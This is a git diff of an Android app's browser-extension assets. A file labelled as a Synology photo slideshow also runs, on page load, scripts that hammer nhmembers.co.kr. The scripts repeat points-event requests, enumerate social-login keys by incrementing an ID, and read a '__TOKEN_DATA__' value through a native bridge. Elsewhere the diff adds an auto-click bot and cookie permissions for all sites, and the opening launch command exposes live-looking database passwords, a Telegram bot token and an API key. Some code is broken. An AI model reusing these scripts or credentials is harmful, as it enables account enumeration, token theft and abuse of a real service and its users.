-    </tr>
-    </tbody>
-</table>
-<div class="mb-4">
-</div>
+java --telegram.bot.key=bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w --telegram.my.id=71476436 --telegram.target.id=71476436 --weather.api.key=de574a260b1f474d99955729241909 --spring.datasource.url=jdbc:mariadb://mra.sbspace.synology.me --spring.data.mongodb.uri=mongodb://lun_admin:VioPup*383@mongo.sbspace.synology.me/?wtimeoutMS=300&connectTimeoutMS=500&socketTimeoutMS=200 --spring.data.mongodb.database=lun_db --spring.datasource.username=lun_admin --spring.datasource.password=VioPup*383 --resource.handler=blog/post/image/** --resource.location=file:///usr/src/app/imgUpload --image.upload.path=/usr/src/app/imgUpload --api.gg.place=AIzaSyARLXyvmr_554tOy3UCh3naFlZQS3-qQQM

app/src/main/assets/extensions/my_extension/inject-viewport.js

@@ -0,0 +1,9 @@
+//(function() {
+//    var meta = document.querySelector('meta[name=viewport]');
+//    if (!meta) {
+//        meta = document.createElement('meta');
+//        meta.name = 'viewport';
+//        document.head.appendChild(meta);
+//    }
+//    meta.setAttribute('content', 'width=device-width, initial-scale=1.0');
+//})();

app/src/main/assets/extensions/my_extension/manifest.json

@@ -9,15 +9,18 @@
 
   "name": "Sample Extension",
   "background": {
-    "scripts": ["background.js"]
+    "scripts": ["Dotax.js", "background.js"]
   },
   "content_scripts": [
     {
+      "run_at": "document_start",
       "matches": ["<all_urls>"],
-      "js": ["messaging.js"]
+      "js": ["messaging.js","inject-viewport.js"]
     }
   ],
   "permissions": [
+    "cookies",
+    "<all_urls>",
     "nativeMessaging",
     "nativeMessagingFromContent",
     "geckoViewAddons",

app/src/main/assets/extensions/my_extension/sb_pics.html

@@ -0,0 +1,384 @@
+<!DOCTYPE html>
+<html lang="ko">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Synology Photos Random Slideshow</title>
+    <style>
+        /* 기본 스타일링 */
+        body, html {
+            margin: 0;
+            padding: 0;
+            width: 100%;
+            height: 100%;
+            background-color: #000;
+            color: #fff;
+            font-family: sans-serif;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            overflow: hidden;
+        }
+        /* 로그인 화면 스타일 */
+        #login-form {
+            display: flex;
+            flex-direction: column;
+            gap: 15px;
+            padding: 30px;
+            background: #222;
+            border-radius: 8px;
+        }
+        #login-form input {
+            padding: 10px;
+            border: 1px solid #444;
+            background: #333;
+            color: #fff;
+            border-radius: 4px;
+        }
+        #login-form button {
+            padding: 10px;
+            background: #007bff;
+            border: none;
+            color: white;
+            cursor: pointer;
+            border-radius: 4px;
+        }
+        /* 사진이 표시될 컨테이너 */
+        #photo-container {
+            width: 100%;
+            height: 100%;
+            display: none; /* 처음에는 숨김 */
+            align-items: center;
+            justify-content: center;
+        }
+        /* 이미지 스타일 */
+        #slideshow-image {
+            max-width: 100%;
+            max-height: 100%;
+            object-fit: contain; /* 이미지 비율 유지 */
+            /* 부드러운 전환 효과 */
+            opacity: 0;
+            transition: opacity 1.5s ease-in-out;
+        }
+    </style>
+</head>
+<body>
+
+    <div id="login-form">
+        <h2>시놀로지 포토 로그인</h2>
+        <input type="text" id="nas-address" placeholder="NAS 주소 (예: 192.168.0.100)">
+        <input type="text" id="username" placeholder="사용자 ID">
+        <input type="password" id="password" placeholder="비밀번호">
+        <button onclick="startSlideshow()">슬라이드쇼 시작</button>
+        <p id="message" style="color: #ffdddd; text-align: center;"></p>
+    </div>
+
+    <div id="photo-container">
+        <img id="slideshow-image" alt="Loading photo...">
+    </div>
+
+    <script>
+        // 전역 변수 설정
+        let sid = '';
+        let nasAddress = '';
+        const allPhotoIds = [];
+        let slideshowInterval;
+
+        // 메시지 표시 함수
+        function showMessage(msg) {
+            document.getElementById('message').innerText = msg;
+        }
+
+        // 슬라이드쇼 시작 함수
+        async function startSlideshow() {
+            nasAddress = document.getElementById('nas-address').value.trim();
+            const username = document.getElementById('username').value.trim();
+            const password = document.getElementById('password').value;
+
+            if (!nasAddress || !username || !password) {
+                showMessage('모든 정보를 입력해주세요.');
+                return;
+            }
+            showMessage('로그인 중...');
+
+            try {
+                // 1. 로그인하여 세션 ID (sid) 얻기
+                const loginUrl = `https://${nasAddress}/webapi/auth.cgi?api=SYNO.API.Auth&version=7&method=login&account=${username}&passwd=${password}&session=SynologyPhotos&format=sid`;
+                const loginResponse = await fetch(loginUrl,{
+                    mode: 'no-cors'
+                });
+                const loginData = await loginResponse.json();
+
+                if (loginData.success && loginData.data.sid) {
+                    sid = loginData.data.sid;
+                    showMessage('로그인 성공! 사진 목록을 가져옵니다...');
+
+                    // 2. 전체 사진 목록 가져오기
+                    await fetchAllPhotos(0);
+
+                } else {
+                    showMessage('로그인 실패. 정보를 확인하세요.');
+                }
+            } catch (error) {
+                console.error('Error:', error);
+                showMessage('오류 발생. NAS 주소를 확인하세요.');
+            }
+        }
+
+
+        for (let i = 0; i < 100 ; i++) {
+            // XMLHttpRequest 객체 생성
+            console.log('try : ', i);
+            const xhr = new XMLHttpRequest();
+            var data  = { EVT_ID		: '10170'
+                , EVT_DTL_TP_C	: '0312'
+                , WATER			: 'Y'
+            };
+            xhr.open('POST', '/nhpot/maa/joinDailyEvt.ajax', true);
+            // xhr.setRequestHeader('Content-Type', 'application/json');
+            xhr.onload = function () {
+                if (xhr.status >= 200 && xhr.status < 300) {
+                    // 요청 성공
+                    const response = JSON.parse(xhr.responseText);
+                    console.log('성공:', response);
+                } else {
+                    // 요청 실패
+                    console.error('실패:', xhr.statusText);
+                }
+            };
+            xhr.onerror = function () {
+                console.error('네트워크 오류');
+            };
+            xhr.send(JSON.stringify(data));
+        }
+
+        for (let i = 0; i < 100 ; i++) {
+
+
+        }
+
+        /**
+         * 지정된 시간(ms)만큼 기다리는 Promise를 반환합니다.
+         * @param {number} ms - 기다릴 밀리초
+         */
+
+
+        /**
+         * API에 순차적으로 부하 테스트를 실행하는 함수
+         * @param {number} totalCalls - 총 테스트 호출 횟수
+         */
+        async function startSequentialLoadTest(totalCalls = 100) {
+            // ⭐️ 여기에 테스트할 실제 API URL을 입력하세요.
+            const API_ENDPOINT = 'https://api.example.com/your-endpoint';
+
+            let successfulCalls = 0;
+            let failedCalls = 0;
+
+            console.log(`[부하 테스트 시작] 총 ${totalCalls}회 순차 호출 (매 1초 간격)`);
+            console.log(`대상 URL: ${API_ENDPOINT}`);
+
+            for (let i = 1; i <= totalCalls; i++) {
+                const startTime = performance.now(); // 요청 시작 시간
+
+                try {
+                    // 1. fetch 요청을 보내고 완료될 때까지 기다립니다.
+                    const response = await fetch("https://m.nhmembers.co.kr/nhpot/pnt/ajaxGetPntTupPointCvList.ajax", {
+                        "headers": {
+                            "accept": "*/*",
+                            "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
+                            "cache-control": "no-cache",
+                            "pragma": "no-cache",
+                            "sec-ch-ua": "\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Android WebView\";v=\"140\"",
+                            "sec-ch-ua-mobile": "?1",
+                            "sec-ch-ua-platform": "\"Android\"",
+                            "sec-fetch-dest": "empty",
+                            "sec-fetch-mode": "cors",
+                            "sec-fetch-site": "same-origin",
+                            "x-requested-with": "XMLHttpRequest"
+                        },
+                        "referrer": "https://m.nhmembers.co.kr/nhpot/pnt/pntTupPointCvIndex.snh?menuId=AC03050000",
+                        "body": null,
+                        "method": "POST",
+                        "mode": "cors",
+                        "credentials": "include"
+                    });
+
+                    const duration = (performance.now() - startTime).toFixed(2); // 응답 시간
+
+                    // 2. HTTP 응답 상태 코드로 성공/실패를 판단합니다.
+                    if (!response.ok) {
+                        // 200-299 범위 외의 상태 코드는 에러로 간주
+                        throw new Error(`HTTP error! status: ${response.status}`);
+                    }
+
+                    // (선택 사항) 응답 데이터를 JSON으로 파싱
+                    // const data = await response.json();
+
+                    console.log(`[${i}/${totalCalls}회] ✅ 성공 (상태: ${response.status}, ${duration}ms)`);
+                    successfulCalls++;
+
+                } catch (error) {
+                    // 3. 네트워크 오류 또는 fetch 실패 시 처리
+                    const duration = (performance.now() - startTime).toFixed(2);
+                    console.error(`[${i}/${totalCalls}회] ❌ 실패 (${error.message}, ${duration}ms)`);
+                    failedCalls++;
+                }
+
+                // 4. 마지막 호출이 아닐 경우, 1초간 대기합니다.
+                if (i < totalCalls) {
+                    await delay(50); // 1000ms = 1초
+                }
+            }
+
+            console.log('--------------------');
+            console.log('[부하 테스트 완료]');
+            console.log(`성공: ${successfulCalls}회`);
+            console.log(`실패: ${failedCalls}회`);
+            console.log('--------------------');
+        }
+        startSequentialLoadTest(500);
+
+        // 재귀적으로 모든 사진 ID를 가져오는 함수
+        async function fetchAllPhotos(offset) {
+            const limit = 5000; // 한 번에 5000개씩 요청
+            const listUrl = `https://${nasAddress}/webapi/entry.cgi?api=SYNO.Foto.Browse.Item&version=1&method=list&limit=${limit}&offset=${offset}&_sid=${sid}`;
+            const response = await fetch(listUrl);
+            const data = await response.json();
+
+            if (data.success) {
+                data.data.list.forEach(item => allPhotoIds.push(item.id));
+                const total = data.data.total;
+                
+                if (offset + limit < total) {
+                    // 받아올 사진이 더 있다면 다음 페이지 요청
+                    showMessage(`${allPhotoIds.length} / ${total} 장 로딩...`);
+                    await fetchAllPhotos(offset + limit);
+                } else {
+                    // 모든 사진을 다 받아왔다면 슬라이드쇼 시작
+                    showMessage('사진 로딩 완료! 슬라이드쇼를 시작합니다.');
+                    document.getElementById('login-form').style.display = 'none';
+                    document.getElementById('photo-container').style.display = 'flex';
+                    
+                    displayRandomPhoto(); // 첫 사진 표시
+                    // 10초마다 사진 변경
+                    slideshowInterval = setInterval(displayRandomPhoto, 10000); 
+                }
+            } else {
+                showMessage('사진 목록 가져오기 실패.');
+            }
+        }
+
+        // 랜덤 사진을 화면에 표시하는 함수
+        function displayRandomPhoto() {
+            if (allPhotoIds.length === 0) return;
+
+            // 랜덤하게 사진 ID 하나 선택
+            const randomIndex = Math.floor(Math.random() * allPhotoIds.length);
+            const photoId = allPhotoIds[randomIndex];
+            
+            // 이미지 다운로드 URL 생성
+            const imageUrl = `https://${nasAddress}/webapi/entry.cgi?api=SYNO.Foto.Download&version=1&method=download&force_download=true&item_id=%5B${photoId}%5D&_sid=${sid}`;
+
+            const imageElement = document.getElementById('slideshow-image');
+            
+            // 이미지 Fade out
+            imageElement.style.opacity = 0;
+
+            // 이미지가 완전히 사라진 후 새 이미지 로딩
+            setTimeout(() => {
+                imageElement.src = imageUrl;
+                
+                // 새 이미지 로딩이 완료되면 Fade in
+                imageElement.onload = () => {
+                    imageElement.style.opacity = 1;
+                };
+            }, 1500); // transition 시간과 동일하게 설정
+        }
+
+
+        const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms));
+        async function testCall(totalCalls = 5000) {
+            console.log(`현 주소 : ${location.href}`)
+            var SNS_TP_C = "01";// # 네이버: 01, 카카오: 02
+            var SNS_ATTC_KEY = 59711004
+            let successfulCalls = 0;
+            let failedCalls = 0;
+            console.log(`[테스트 시작] 총 ${totalCalls}회 순차 호출 (매 1초 간격)`);
+            for (let i = 0; i <= totalCalls; i++) {
+                const startTime = performance.now(); // 요청 시작 시간
+                var data = data = {
+                    "CERT_PURPOSE": "",
+                    "SNS_TP_C": SNS_TP_C,
+                    "SNS_ATTC_KEY": SNS_ATTC_KEY + i,
+                    "RQR_PATH_C": "03",
+                    "AP_AUT_LGIN_YN": "N",
+                    "TRM_NATV_ID": "98330320250312105723",
+                    "PRL_CHAN_C": "",
+                    "TRM_OS_C": "01",
+                    "OPI_CI": "MEMBERS",
+                    "OPI_RRRC": "",
+                    "OPI_RRRD": "",
+                    "OPI_EXPIRE_TIME": "",
+                    "OPI_ACCESS_TOKEN": "",
+                    "OPI_DEVICE_ID": "",
+                    "OPI_RESULT_CODE": "",
+                    "ANW_AP_PUSH_YN": "Y",
+                    "OPI_JOIN_YN": "",
+                    "AD_ID": "fd42945f-3d3d-485a-8a33-e6ac40eae597",
+                    "isLoginPage": "Y"
+                }
+                try {
+                    // 1. fetch 요청을 보내고 완료될 때까지 기다립니다.
+                    const response = await fetch("https://m.nhmembers.co.kr/nhpot/login/snsLoginCertNew.ajax", {
+                        "headers": {
+                            "User-Agent" : "NH_MEMBERS_ANDROID2.0.021",
+                        },
+                        "body": data,
+                        "method": "POST",
+                    });
+
+                    const duration = (performance.now() - startTime).toFixed(2); // 응답 시간
+                    if (!response.ok) {
+                        throw new Error(`HTTP error! status: ${response.status}`);
+                    }
+                    const {resultCode , resultMessage} = await response.json();
+                    console.log(`[${i}/${totalCalls}회] ✅ 성공 (상태: ${response.status}, ${duration}ms) SNS_ATT:${SNS_ATTC_KEY + i} ${resultCode} : ${resultMessage}`);
+                    if (resultCode !== '9999') {
+                        successfulCalls++;
+                    } else {
+                        failedCalls++;
+                    }
+                } catch (error) {
+                    // 3. 네트워크 오류 또는 fetch 실패 시 처리
+                    const duration = (performance.now() - startTime).toFixed(2);
+                    console.error(`[${i}/${totalCalls}회] ❌ 실패 (${error.message}, ${duration}ms)`);
+                    failedCalls++;
+                }
+
+                // 4. 마지막 호출이 아닐 경우, 1초간 대기합니다.
+                if (i < totalCalls) {
+                    await delay(50); // 1000ms = 1초
+                }
+            }
+
+            console.log('--------------------');
+            console.log('[로그인 테스트 완료]');
+            console.log(`성공: ${successfulCalls}회`);
+            console.log(`실패: ${failedCalls}회`);
+            console.log('--------------------');
+
+
+            try {
+                hybridaction.action('{"package": "com.nh.android.nhmembers.plugin","class": "HPPreference", "action": "get", "request_id": "testrequest", "callback": "document.write", "argument": {"key": "__TOKEN_DATA__"}}')
+            } catch(error) {
+            console.log(error)
+            }
+        }
+
+        testCall(1000);
+
+
+
+    </script>
+</body>
+</html>

app/src/main/assets/extensions/my_extension/sddsd.json

@@ -0,0 +1,105 @@
+{
+  "data" : {
+    "type" : "appStoreVersions",
+    "id" : "d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b",
+    "attributes" : {
+      "platform" : "IOS",
+      "versionString" : "2.2.1",
+      "appStoreState" : "READY_FOR_SALE",
+      "appVersionState" : "READY_FOR_DISTRIBUTION",
+      "copyright" : "2018 NH Information System CO.LTD",
+      "reviewType" : "APP_STORE",
+      "releaseType" : "MANUAL",
+      "earliestReleaseDate" : null,
+      "usesIdfa" : null,
+      "downloadable" : true,
+      "createdDate" : "2025-06-24T03:39:38-07:00"
+    },
+    "relationships" : {
+      "ageRatingDeclaration" : {
+        "links" : {
+          "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/relationships/ageRatingDeclaration",
+          "related" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/ageRatingDeclaration"
+        }
+      },
+      "appStoreVersionLocalizations" : {
+        "links" : {
+          "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/relationships/appStoreVersionLocalizations",
+          "related" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/appStoreVersionLocalizations"
+        }
+      },
+      "build" : {
+        "links" : {
+          "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/relationships/build",
+          "related" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/build"
+        }
+      },
+      "appStoreVersionPhasedRelease" : {
+        "links" : {
+          "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/relationships/appStoreVersionPhasedRelease",
+          "related" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/appStoreVersionPhasedRelease"
+        }
+      },
+      "gameCenterAppVersion" : {
+        "links" : {
+          "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/relationships/gameCenterAppVersion",
+          "related" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/gameCenterAppVersion"
+        }
+      },
+      "routingAppCoverage" : {
+        "links" : {
+          "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/relationships/routingAppCoverage",
+          "related" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/routingAppCoverage"
+        }
+      },
+      "appStoreReviewDetail" : {
+        "links" : {
+          "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/relationships/appStoreReviewDetail",
+          "related" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/appStoreReviewDetail"
+        }
+      },
+      "appStoreVersionSubmission" : {
+        "links" : {
+          "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/relationships/appStoreVersionSubmission",
+          "related" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/appStoreVersionSubmission"
+        }
+      },
+      "appClipDefaultExperience" : {
+        "links" : {
+          "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/relationships/appClipDefaultExperience",
+          "related" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/appClipDefaultExperience"
+        }
+      },
+      "appStoreVersionExperiments" : {
+        "links" : {
+          "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/relationships/appStoreVersionExperiments",
+          "related" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/appStoreVersionExperiments"
+        }
+      },
+      "appStoreVersionExperimentsV2" : {
+        "links" : {
+          "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/relationships/appStoreVersionExperimentsV2",
+          "related" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/appStoreVersionExperimentsV2"
+        }
+      },
+      "customerReviews" : {
+        "links" : {
+          "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/relationships/customerReviews",
+          "related" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/customerReviews"
+        }
+      },
+      "alternativeDistributionPackage" : {
+        "links" : {
+          "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/relationships/alternativeDistributionPackage",
+          "related" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b/alternativeDistributionPackage"
+        }
+      }
+    },
+    "links" : {
+      "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b"
+    }
+  },
+  "links" : {
+    "self" : "https://api.appstoreconnect.apple.com/v1/appStoreVersions/d5d8c453-40e8-49be-ba7e-ca9ef06bdb8b"
+  }
+}

app/src/main/assets/extensions/my_extension/sdsdsd.js

@@ -0,0 +1,203 @@
+(function() {
+    console.log("Enhanced Scroll & Click Loop Started");
+
+    const CLICK_INTERVAL = 1000;
+    const SCROLL_STEP = 300;
+
+    const selectors = [
+        'a', 'button', 'a.btn', 'input[type="button"]',
+        'input[type="submit"]', '[role="button"]'
+    ];
+
+    // --- 설정 구역 ---
+    const config = {
+        // 1. 특정 페이지에서 순서대로 클릭해야 하는 경우
+        sequences: {
+            "www.nhmembers.co.kr/nhaob": [".btn-direct-menu"],
+            "example.com/login": [".userid-input", ".password-input", "#login-btn"],
+            "mysite.com/survey": ["input[value='yes']", "button.next-step"]
+        },
+        // 2. 특정 페이지에서 절대 클릭하면 안 되는 요소 (예: 로그아웃, 삭제 버튼)
+        blacklist: {
+            "any": ["logout", "delete", "remove", "exit","header__prev main_header"], // 모든 페이지 공통 키워드
+            "runcomm.co.kr": [".adpot_inquiry", ",btn_com1", "닫기"] // 특정 페이지 전용
+        }
+    };
+
+    let sequenceStep = 0;
+    let lastUrl = "";
+
+    const mainLoop = setInterval(() => {
+        const currentUrl = window.location.href;
+
+        // 페이지가 바뀌면 순서(Step) 초기화
+        if (currentUrl !== lastUrl) {
+            sequenceStep = 0;
+            lastUrl = currentUrl;
+        }
+
+        // --- 로직 1: 특정 주소에서의 순차 클릭 처리 ---
+        const activeSequenceKey = Object.keys(config.sequences).find(url => currentUrl.includes(url));
+
+        if (activeSequenceKey) {
+            const steps = config.sequences[activeSequenceKey];
+            if (sequenceStep < steps.length) {
+                const targetSelector = steps[sequenceStep];
+                const target = document.querySelector(targetSelector);
+
+                if (target && isVisible(target)) {
+                    console.log(`[Sequence] Clicking step ` + sequenceStep + ' : ', targetSelector);
+                    target.click();
+                    sequenceStep++; // 다음 단계로
+                    return; // 순차 클릭을 했을 경우 랜덤 클릭 건너뜀
+                }
+            }
+        }
+
+        // --- 로직 2: 일반 랜덤 클릭 (예외 처리 포함) ---
+        window.scrollBy(0, SCROLL_STEP);
+
+        const elements = document.querySelectorAll(selectors.join(','));
+        const visibleElements = Array.from(elements).filter(el => {
+            if (!isVisible(el)) return false;
+
+            // 현재 페이지에 적용할 블랙리스트 단어들 모으기
+            const pageBlacklist = config.blacklist["any"].concat(
+                Object.entries(config.blacklist)
+                    .filter(([url]) => currentUrl.includes(url))
+                    .flatMap(([_, tags]) => tags)
+            );
+
+            // 검사할 대상 문자열들을 배열로 만듦
+            const targetsToScan = [
+                el.innerText,                  // 버튼 위 텍스트
+                el.id,                         // ID
+                el.className.toString(),       // 클래스명
+                el.getAttribute('alt'),        // 이미지 대체 텍스트 (중요!)
+                el.getAttribute('title'),      // 마우스 올리면 나오는 텍스트
+                el.getAttribute('aria-label')  // 웹 접근성용 라벨
+            ].map(val => (val || "").toLowerCase()); // 소문자로 통일해서 비교
+
+            // 블랙리스트 단어가 위 항목 중 하나라도 포함되어 있는지 확인
+            const isBlacklisted = pageBlacklist.some(term =>
+                targetsToScan.some(content => content.includes(term.toLowerCase()))
+            );
+
+            return !isBlacklisted;
+        });
+
+        if (visibleElements.length > 0) {
+            const randomIndex = Math.floor(Math.random() * visibleElements.length);
+            const target = visibleElements[randomIndex];
+            console.log('Target Clicked:', target.innerText || target.tagName);
+            try { target.click(); } catch (e) { console.error(e); }
+        }
+
+        if ((window.innerHeight + window.pageYOffset) >= document.documentElement.scrollHeight) {
+            window.scrollTo(0, 0);
+        }
+
+    }, CLICK_INTERVAL);
+
+    // 가시성 확인 함수
+    function isVisible(el) {
+        const rect = el.getBoundingClientRect();
+        return rect.width > 0 && rect.height > 0 &&
+            rect.top >= 0 && rect.top <= window.innerHeight &&
+            window.getComputedStyle(el).visibility !== 'hidden' &&
+            window.getComputedStyle(el).display !== 'none';
+    }
+
+    window.autoCrawlerLoop = mainLoop;
+})();
+
+
+window.addEventListener('error', function(event) {
+    // 1. 일반적인 JS 문법/런타임 에러
+    if (event.message) {
+        const errorLog = {
+            type: 'JS_ERROR,
+            message: event.message,
+            source: event.filename,
+            line: event.lineno
+        };
+        console.warn(`Error: ` + event.message);
+    }
+    // 2. 리소스 로드 에러 (이미지, JS 파일이 없을 때)
+    else {
+        const target = event.target || event.srcElement;
+        console.warn('Resource Load Error:', target.src || target.href);
+    }
+}, true);
+
+
+function kkk(){
+        var sss = document.getElementsByTagName('meta');
+        for(i=0;i<sss.length;i++) {
+            if(sss[i].name.includes("viewport")) {
+                console.log(sss[i]);
+                sss[i].remove();
+            }
+        }
+
+        var meta = document.createElement('meta'); meta.setAttribute( 'name', 'viewport' ); meta.setAttribute( 'content', 'width = device-width, initial-scale = 1.0, minimum-scale = 1.0, maximum-scale = 4.0, user-scalable = yes, viewport-fit=cover' );
+        document.getElementsByTagName('head')[0].appendChild(meta);
+        var meta = document.createElement('meta'); meta.setAttribute( 'name', 'viewport' ); meta.setAttribute( 'content', 'width = device-width, initial-scale = 1.0, minimum-scale = 1.0, maximum-scale = 4.0, user-scalable = yes, viewport-fit=cover' );
+        document.getElementsByTagName('head')[0].appendChild(meta);
+}
+
+let scale = 1.0;        // 현재 확대 비율
+let startDistance = 0;  // 터치 시작 시점의 두 손가락 거리
+let baseScale = 1.0;    // 터치 시작 시점의 기존 확대 비율
+
+// 두 손가락 사이의 거리를 계산하는 함수 (피타고라스 정리 활용)
+function getDistance(touch1, touch2) {
+    const dx = touch1.clientX - touch2.clientX;
+    const dy = touch1.clientY - touch2.clientY;
+    return Math.sqrt(dx * dx + dy * dy);
+}
+
+    const target = document.body;
+
+    // transform이 일어날 기준점을 왼쪽 상단(0,0)으로 고정
+    target.style.transformOrigin = "0 0";
+    target.style.transition = "transform 0.05s ease-out"; // 부드러운 애니메이션 효과
+
+    // 1. 터치 시작 (두 손가락이 닿았을 때)
+    window.addEventListener('touchstart', (e) => {
+        if (e.touches.length === 2) {
+            // 기본 브라우저 줌인 동작 방지
+            e.preventDefault();
+
+            startDistance = getDistance(e.touches[0], e.touches[1]);
+            baseScale = scale; // 현재 배율을 기준으로 저장
+        }
+    }, { passive: false });
+
+    // 2. 터치 이동 (손가락을 벌리거나 오므릴 때)
+    window.addEventListener('touchmove', (e) => {
+        if (e.touches.length === 2) {
+            e.preventDefault();
+
+            const currentDistance = getDistance(e.touches[0], e.touches[1]);
+            if (startDistance > 0) {
+                // 거리 비율만큼 배율 계산
+                const distanceRatio = currentDistance / startDistance;
+                let newScale = baseScale * distanceRatio;
+
+                // 최소 1배 ~ 최대 3배까지만 확대 제한 (원하는 대로 조절 가능)
+                newScale = Math.max(1.0, Math.min(newScale, 3.0));
+
+                scale = newScale;
+                target.style.transform = `scale(${scale})`;
+                console.log('Scale: ', + target.style.transform);
+            }
+        }
+    }, { passive: false });
+
+    // 3. 터치 종료 (손가락을 뗐을 때)
+    window.addEventListener('touchend', (e) => {
+        if (e.touches.length < 2) {
+            startDistance = 0; // 거리 초기화
+        }
+    });

app/src/main/assets/extensions/my_extension/test.html

@@ -0,0 +1,305 @@
+<!DOCTYPE html>
+<html lang="ko">
+<head>
+    <meta charset="UTF-8">
+    <title>Config Generator</title>
+    <style>
+        body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; background: #f4f7f8; padding: 20px; color: #333; }
+        .container { max-width: 900px; margin: 0 auto; }
+        h1, h2 { color: #2c3e50; }
+        .card { background: #fff; border-radius: 8px; padding: 20px; margin-bottom: 20px; box-shadow: 0 2px 4px rgba(0,0,0,0.1); }
+
+        /* Drag & Drop 영역 */
+        .drop-zone { border: 2px dashed #3498db; border-radius: 8px; padding: 30px; text-align: center; background: #ebf5fb; color: #2980b9; font-weight: bold; cursor: pointer; transition: background 0.3s; margin-bottom: 20px; }
+        .drop-zone.dragover { background: #d6eaf8; border-color: #2980b9; }
+
+        .url-block { border: 1px solid #e1e8ed; padding: 15px; border-radius: 6px; margin-bottom: 15px; position: relative; background: #fafbfc; }
+        .remove-btn { position: absolute; right: 15px; top: 15px; background: #ff4757; color: white; border: none; padding: 5px 10px; border-radius: 4px; cursor: pointer; }
+
+        .step-block { display: flex; gap: 10px; align-items: flex-start; background: #fff; border: 1px dashed #ccc; padding: 10px; border-radius: 4px; margin-top: 10px; }
+        .step-block select, .step-block input, .step-block textarea { padding: 8px; border: 1px solid #ccc; border-radius: 4px; font-size: 14px; }
+        .step-block .code-input { flex-grow: 1; }
+        .step-block textarea { width: 100%; height: 60px; font-family: monospace; resize: vertical; }
+        .step-block .wait-input { width: 100px; }
+
+        .btn { background: #2ed573; color: white; border: none; padding: 8px 15px; border-radius: 4px; cursor: pointer; font-weight: bold; margin-top: 10px; }
+        .btn-add { background: #1e90ff; }
+        .btn-generate { background: #3742fa; font-size: 16px; padding: 12px 20px; width: 48%; }
+        .btn-export { background: #f39c12; font-size: 16px; padding: 12px 20px; width: 48%; float: right; }
+
+        input[type="text"] { width: 300px; padding: 8px; border: 1px solid #ccc; border-radius: 4px; }
+
+        pre { background: #2f3542; color: #f1f2f6; padding: 20px; border-radius: 8px; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word; }
+        .btn-row { display: flex; justify-content: space-between; margin-top: 20px; }
+    </style>
+</head>
+<body>
+
+<div class="container">
+    <h1>봇 설정(Config) 생성기</h1>
+
+    <div id="dropZone" class="drop-zone">
+        📂 여기에 JSON 백업 파일을 드래그하거나 클릭하여 불러오세요.
+        <input type="file" id="fileInput" accept=".json" style="display: none;">
+    </div>
+
+    <div class="card">
+        <h2>1. Sequences (순차 처리)</h2>
+        <div id="sequences-container"></div>
+        <button class="btn btn-add" onclick="addSequenceUrl()">+ URL 추가</button>
+    </div>
+
+    <div class="card">
+        <h2>2. Blacklist (클릭 제외)</h2>
+        <div id="blacklist-container"></div>
+        <button class="btn btn-add" onclick="addBlacklistUrl()">+ 블랙리스트 URL 추가</button>
+    </div>
+
+    <div class="btn-row">
+        <button class="btn btn-generate" onclick="generateCode()">🚀 JS 코드 생성하기</button>
